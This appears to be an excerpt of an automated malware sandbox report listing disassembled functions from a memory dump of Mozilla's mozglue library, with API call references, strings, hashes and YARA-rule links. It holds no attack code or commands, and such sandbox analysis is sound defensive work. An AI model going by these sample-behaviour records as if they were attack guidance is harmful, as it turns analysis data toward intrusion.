Instruction ID: 13576194912f49a241939a36b28e3be80b632a8720636cba8ededc9355653736
Opcode Fuzzy Hash: 16b7a2c3ed54f233b1b5a846105be035bf39855e98fd953986b10a40125018ac
Instruction Fuzzy Hash: AF41D6B2D002199FCB00DFA8DC805AEB7B5FB45324F250669E825E77A0E771A91687E1

Function 6CDAEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CE25104), ref: 6CDAEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDAEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDAEFEC
free.MOZGLUE(?), ref: 6CDAF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDAF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CDAF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDAF065
moz_xmalloc.MOZGLUE ref: 6CDAF072

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: c286ffa7cde9206bd458682d10c7241c0da5ebd181f973537bb05f551d3556e8
Instruction ID: d9a16dbd2faa6520c3f2b98e6e3b5f6f4b70c441de3035e69e2de4b4193c8c6c
Opcode Fuzzy Hash: c286ffa7cde9206bd458682d10c7241c0da5ebd181f973537bb05f551d3556e8
Instruction Fuzzy Hash: 534109F1A001059FCB08CFA8DC815AE73A5FF89314B24066CE816D77A4EB31E915C7E1

Function 6CE1B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CE1B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CE1B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CE1B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CE1B5F4
__Init_thread_footer.LIBCMT ref: 6CE1B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CE1B61F
std::_Facet_Register.LIBCPMT ref: 6CE1B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CE1B655

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: fe17ede7afe3fd9b62cbcdd8bd3a408cc6af5ef987c0b7273adf68a8d342a647
Instruction ID: 07a0c73dd30c48b6e42c88a8998ac2a3fbaf99fcd5bce1ccc1d6a1163b56bbca
Opcode Fuzzy Hash: fe17ede7afe3fd9b62cbcdd8bd3a408cc6af5ef987c0b7273adf68a8d342a647
Instruction Fuzzy Hash: 2931B3B1F00214CBCF00DF69C898BAEB7B6FF8A325B250519D90697740DB38A816CF91

Function 6CDE6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDFA80: GetCurrentThreadId.KERNEL32 ref: 6CDDFA8D
Part of subcall function 6CDDFA80: AcquireSRWLockExclusive.KERNEL32(6CE2F448), ref: 6CDDFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CDE67C8

Part of subcall function 6CDF4290: memcpy.VCRUNTIME140(?,?,6CE02003,6CE00AD9,?,6CE00AD9,00000000,?,6CE00AD9,?,00000004,?,6CE01A62,?,6CE02003,?), ref: 6CDF42C4

Strings

data, xrefs: 6CDE6593
vl, xrefs: 6CDE696C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vl
API String ID: 511789754-1338584003
Opcode ID: 1c01ed70aa07a5b42ed14a5618d1600ff47fcc0ff7415343443a5beae0a9c12c
Instruction ID: a607f7cbc8580eec0515726a16366e8363093228460405d33ac84a0ab6f3fa51
Opcode Fuzzy Hash: 1c01ed70aa07a5b42ed14a5618d1600ff47fcc0ff7415343443a5beae0a9c12c
Instruction Fuzzy Hash: 64D1CF75A083408FD724DF25C841B9FB7F5AFC5308F20492DE58987BA1DB34A94ACB62

Function 6CDBB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE), ref: 6CDBB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CDFCC83,?,?,?,?,?,?,?,?,?,6CDFBCAE,?,?,6CDEDC2C), ref: 6CDBB896

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 6c961e635ebc5737c06dc8ea4a77a56b9e5bfed2b48cf59b8914a2846662f75e
Instruction ID: 0f4148a599b27413231a73fd93d0e4c1bcd4d19a25aac346525bceeb55a5f534
Opcode Fuzzy Hash: 6c961e635ebc5737c06dc8ea4a77a56b9e5bfed2b48cf59b8914a2846662f75e
Instruction Fuzzy Hash: E0515A75B00604DFCB25CF59C5C4A6AB7F5FF89318B69895DE98AA73A1C731E801CB80

Function 6CDA4DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CDA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CDA4F1E

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDA4ED0

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 713647276-4197491586
Opcode ID: 18050f1a65931bca1f42914fb3cf00064ac6b1ea7b9e265d584e23b2be6c7419
Instruction ID: 5b41e57250e49223a2b989d0a71acc8dc6d3bf20ab58c7910865f3ad3e168ce7
Opcode Fuzzy Hash: 18050f1a65931bca1f42914fb3cf00064ac6b1ea7b9e265d584e23b2be6c7419
Instruction Fuzzy Hash: 1841D071608701DFC701CFA9C88095BB7F4BF89354F109A2DF8A687661DB30E91ACB91

Function 6CDF1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDF1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CDF1BE3,?,?,6CDF1D96,00000000), ref: 6CDF1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CDF1BE3,?,?,6CDF1D96,00000000), ref: 6CDF1D4C
GetCurrentThreadId.KERNEL32 ref: 6CDF1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDF1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDF1DDA

Part of subcall function 6CDF1EF0: GetCurrentThreadId.KERNEL32 ref: 6CDF1F03
Part of subcall function 6CDF1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CDF1DF2,00000000,00000000), ref: 6CDF1F0C
Part of subcall function 6CDF1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CDF1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CDF1DF4

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e0123e393453ddbc2d8bc0fa2a3aca44dbdb45061b2c05d90ed7bd8ba7bf5d0c
Instruction ID: 3703a56654d7ee42ad784d7ed8171ff18832a558ffd127ee6c632eed64bae70b
Opcode Fuzzy Hash: e0123e393453ddbc2d8bc0fa2a3aca44dbdb45061b2c05d90ed7bd8ba7bf5d0c
Instruction Fuzzy Hash: BC4189B56007049FCB10CF28C888B56BBF9FB89318F11442DE99A87B51CB75F814CBA0

Function 6CDB38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CE2E220,?,?,?,?,6CDB3899,?), ref: 6CDB38B2
ReleaseSRWLockExclusive.KERNEL32(6CE2E220,?,?,?,6CDB3899,?), ref: 6CDB38C3
free.MOZGLUE(00000000,?,?,?,6CDB3899,?), ref: 6CDB38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CDB3899,?), ref: 6CDB392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CDB3899,?), ref: 6CDB3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CDB396E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: a6ccc996dfdcfb8939c8d02bc6020b16b3966975109edb7f7dafe54fd24d44a3
Instruction ID: 0178be9e602b4fc9282ea60cbfb6da3b87af0780706ba9abd3397e65159bdf19
Opcode Fuzzy Hash: a6ccc996dfdcfb8939c8d02bc6020b16b3966975109edb7f7dafe54fd24d44a3
Instruction Fuzzy Hash: 3F21BFB6B00660DFDB209F15C880B86B7B9EF45328F258429D95BA7B20CB35F845DB91

Function 6CDE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE85AC

Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE767F
Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE7693
Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE85B2

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 127615e83e2ff3b0f5fc3f7f1b9aec0bd20115d047244d0f691387f0fcdac74f
Instruction ID: 76221df8dd205ee583adc02a1e426140c274b5864e2d452ee22325711b9ddb30
Opcode Fuzzy Hash: 127615e83e2ff3b0f5fc3f7f1b9aec0bd20115d047244d0f691387f0fcdac74f
Instruction Fuzzy Hash: EE217F743006019FEB14DB28C888A5AB7B5AF4830DF14482DE55B83B91DB35F948CB95

Function 6CDB1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CDB1699
VerSetConditionMask.NTDLL ref: 6CDB16CB
VerSetConditionMask.NTDLL ref: 6CDB16D7
VerSetConditionMask.NTDLL ref: 6CDB16DE
VerSetConditionMask.NTDLL ref: 6CDB16E5
VerSetConditionMask.NTDLL ref: 6CDB16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CDB16F9

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 787101252116d004b1afa3b8f880180bbec9b6e9df0f3a90501b451413011fff
Instruction ID: ba2b553704f6b4306574ebcdc80db9984ca0e8d3959291ced5da5b389440eaf6
Opcode Fuzzy Hash: 787101252116d004b1afa3b8f880180bbec9b6e9df0f3a90501b451413011fff
Instruction Fuzzy Hash: 9E21A2F0B402186BEB116B648C86FFBB37CEF86714F044528F646AB5D0C6789D54CBA1

Function 6CDEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CDEF598), ref: 6CDEF621

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF637
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF645
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CDEF62A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: fa2dbe9f790e9e12d5f0021767120304665375c65f6afcf4b7cedd45c7b65b3f
Instruction ID: d94a45cc82fb81cd5ab5c341ecc9d5994aebc72f0fdbb9e24577ddc96eac0148
Opcode Fuzzy Hash: fa2dbe9f790e9e12d5f0021767120304665375c65f6afcf4b7cedd45c7b65b3f
Instruction Fuzzy Hash: 1F11E371601204ABCB04AF58D848EE5B779FB8A76CB500019EA0687F51CB79A811CBB0

Function 6CDB1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CDB1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CDB1FFD
__Init_thread_footer.LIBCMT ref: 6CDB2011
FreeLibrary.KERNEL32 ref: 6CDB2059

Strings

combase.dll, xrefs: 6CDB1FD9
CoCreateInstance, xrefs: 6CDB1FF7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 5535146e7f0d15f6908d2fe6f8ea8b5967d82444fb7a07fe04841528ca3de113
Instruction ID: 603337db0d6a2db4d154ed945b453e7773a79930cc60c3d28f9ca8430ff83f57
Opcode Fuzzy Hash: 5535146e7f0d15f6908d2fe6f8ea8b5967d82444fb7a07fe04841528ca3de113
Instruction Fuzzy Hash: 8E117CB6641218EFEF20CF24C849F963B79EB46359F104029F90692650CB3DAC01CF61

Function 6CDB0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CDDD9F0,00000000), ref: 6CDB0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CDB0F3C
__Init_thread_footer.LIBCMT ref: 6CDB0F50
FreeLibrary.KERNEL32(?,6CDDD9F0,00000000), ref: 6CDB0F86

Strings

combase.dll, xrefs: 6CDB0F18
CoInitializeEx, xrefs: 6CDB0F36

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 2abf89f4caa05c505349929a529cdf3167257429611a1fb8b66fdff096aa9e8f
Instruction ID: 6b5873f6d036da30d3eb401bd4002034b3ec0e2772cc77730cc9715cb32916cc
Opcode Fuzzy Hash: 2abf89f4caa05c505349929a529cdf3167257429611a1fb8b66fdff096aa9e8f
Instruction Fuzzy Hash: CA1182B5785250DBDF00CFA4CA08F5A37B4FB4A766F10422AE906A2750D73CB805CB65

Function 6CDEF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF561

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF577
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF585
